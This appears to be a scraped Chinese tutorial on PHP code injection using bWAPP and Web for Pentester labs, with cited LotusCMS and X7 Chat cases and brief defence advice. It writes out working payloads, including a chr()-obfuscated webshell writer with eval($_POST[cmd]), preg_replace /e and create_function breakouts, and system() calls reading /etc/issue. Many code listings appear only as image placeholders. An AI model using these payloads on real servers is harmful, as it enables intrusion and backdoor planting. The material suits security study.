从bwapp学PHP代码注入

0x00 背景

在bwapp的注入部分有一个个php injection,这是第一次接触,在做题的过程中查阅各种资料学习这里总结一下

0x01 PHP命令执行函数

遵从几位学长的建议对于PHP的学习都是需要的时候才去看一下,所以理解的程度并不深。这里从网上收集了一些PHP能够执行命令的函数。详情请看php执行函数

从bwapp学PHP代码注入_第1张图片

0x02 bwapp下实例

从bwapp学PHP代码注入_第2张图片

在php injection的源代码可以看到只有low等级的对于message参数前有eval执行函数,midium和high都只是使用echo打印到页面之上。因此直接在message的值写为phpinfo()就能执行该函数。

在网上看到一个相较高级的利用办法是利用fopen来写入一个php文件,相当于实现了文件上传的功能,要想在实际环境中实现需要考虑很多绕过的情况,但是想法不错!

http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'')

这样的话就会在phpi的同级目录之下生成一个haha.php文件,使用菜刀连接就好。

medium与high就直接忽略掉了。

0x03 文件包含

文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

test.php代码如下:

提交a的值:

http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E

提交之后就能正常执行phpinfo()了

0x04 preg_replace正则替换

这个函数的定义形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

pattern参数的利用

pattern即第一个参数的代码注射。当magic_quotes_gpc=Off时,导致代码执行。

例:

$var = 'phpinfo()';

preg_replace("/(.*?)$regexp", '\\1', $var);

?>

当提交?reg=%3C\/php%3E/e时就会执行var中的语句

②使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行

例如:

echo preg_replace("/test/e",$_GET["h"],"jutst test");

 ?>/*当提交的h参数为phpinfo()就会被执行,当执行以下经过chr函数绕过的会生成一个新的php文件

h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).

chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).

chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).

chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是:fputs(fopen(data/a.php,w), );

0x05 动态代码执行

这一类一般是从用户处获得了多个参数,然后有一个可以用来执行其他的语句。

提交a=system&b=ipconfig   就能成功执行ipconfig命令

还有一种是使用了create_function()函数

string create_function  ( string$args   , string$code   ) 即第一个参数指定创建函数的参数,第二个就是创建函数的代码部分。

create_function('$name', 'echo "hello".$name;'))等价于

function fun($name){ echo "hello".$name; }

实验代码:

从bwapp学PHP代码注入_第3张图片

提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())

0x06 实例

①http://www.exploit-db.com/exploits/18565/  LotusCMS 3.0 eval() Remote Command Execution

影响版本:

LotusCMS version 3.0.3

LotusCMS version 3.0.5

漏洞描述:

在LotusCMS 的index.php 文件中调用router 构建函数,然后在lcms/core/lib/router.php 中page 这个参数被带入,由于未经任何过滤可以产生该漏洞。


从bwapp学PHP代码注入_第4张图片
从bwapp学PHP代码注入_第5张图片

也可以像上面提到的一样利用执行函数的特性来写入一个文件

3.案例-2:

http://www.exploit-db.com/exploits/35183/ X7 Chat 2.0.5 preg_replace() PHP Code Execution

影响版本:X7 Chat version 2.0.5

漏洞描述:

漏洞的产生最终是由于/lib/message.php 下的第119 行的preg_replce()函数导致,这里引用了/e 修饰符,并且未经过严格过滤最终导致任意代码执行。

从bwapp学PHP代码注入_第6张图片

案例演示:

1. 首先需要注册一个用户

2. 利用注册的用户登录

3. User CP –>Offline Msgs –>创建一个项目链接–>Send

从bwapp学PHP代码注入_第7张图片

或者直接GET 如下代码

之后可以看到成功创建一个项目,当打开创建的项目可以看到利用代码被成功执行

从bwapp学PHP代码注入_第8张图片

从bwapp学PHP代码注入_第9张图片

Metasploit 更新了漏洞利用模块,可以利用该模块演示一下被利用的场景

PHP create_function()

1.在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。

Code:

从bwapp学PHP代码注入_第10张图片
从bwapp学PHP代码注入_第11张图片

PHP unserialize

Code:

从bwapp学PHP代码注入_第12张图片

提交语句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

从bwapp学PHP代码注入_第13张图片

PHP assert

Code:

从bwapp学PHP代码注入_第14张图片

提交语句:http://127.0.0.1/test/assert.php?test=phpinfo();

从bwapp学PHP代码注入_第15张图片

0x07 代码执行绕过

前面将一些常见的易造成PHP代码注入的函数介绍了一下。接下来将以web for pentester中的案例来演示一下,一些简单的php代码执行的绕过。

案例演示:

example1.php

代码:

从bwapp学PHP代码注入_第16张图片

解决方案:

查看代码我们可以看到,这里使用了反斜杠【\】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的。具体案例可以到这里学习【php4fun.sinaapp.com PHP挑战通关攻略】。但是我们可以通过${${ }}这样的方式绕过,从而继续执行代码。

提交语句:

http://target/codeexec/example1.php?name=${${phpinfo()}}

从bwapp学PHP代码注入_第17张图片

example2.php

代码:

从bwapp学PHP代码注入_第18张图片

解决方案:

我们看代码,造成造成代码注入的重点在被加红的区域也就是create_function()的不当使用,我们可以这样构造);}phpinfo();//,从而继续执行我们的命令。【这里解释一下);}是闭合了前面的代码,而//则是将后面的内容注释掉】

提交代码:

http://target/codeexec/example2.php?order=id);}phpinfo();//

从bwapp学PHP代码注入_第19张图片

example3.php

代码:

解决方案:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造

new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

提交代码:

http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

从bwapp学PHP代码注入_第20张图片

example4.php

代码:

从bwapp学PHP代码注入_第21张图片

解决方案:

如此构造即可:hacker’.system(‘cat /etc/issue’).’

提交代码:

http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’

从bwapp学PHP代码注入_第22张图片

0x08 代码防御

尽量不要执行外部的应用程序和命令

在使用诸如:eval、preg_replace、assert这些函数的时候,确定参数的内容,严格过滤危险参数。

使用自定义的函数或者函数库来实现相关的需要命令功能

0x09 相关参考

代码审计典型语法结构

PHP代码执行漏洞总结

cn2.php.net

慎用preg_replace危险的/e修饰符(一句话后门常用)

Web攻防系列教程之浅析PHP命令注入攻击

文中后半部分来自千域千寻,PHP Code Injection Analysis

你可能感兴趣的:(从bwapp学PHP代码注入)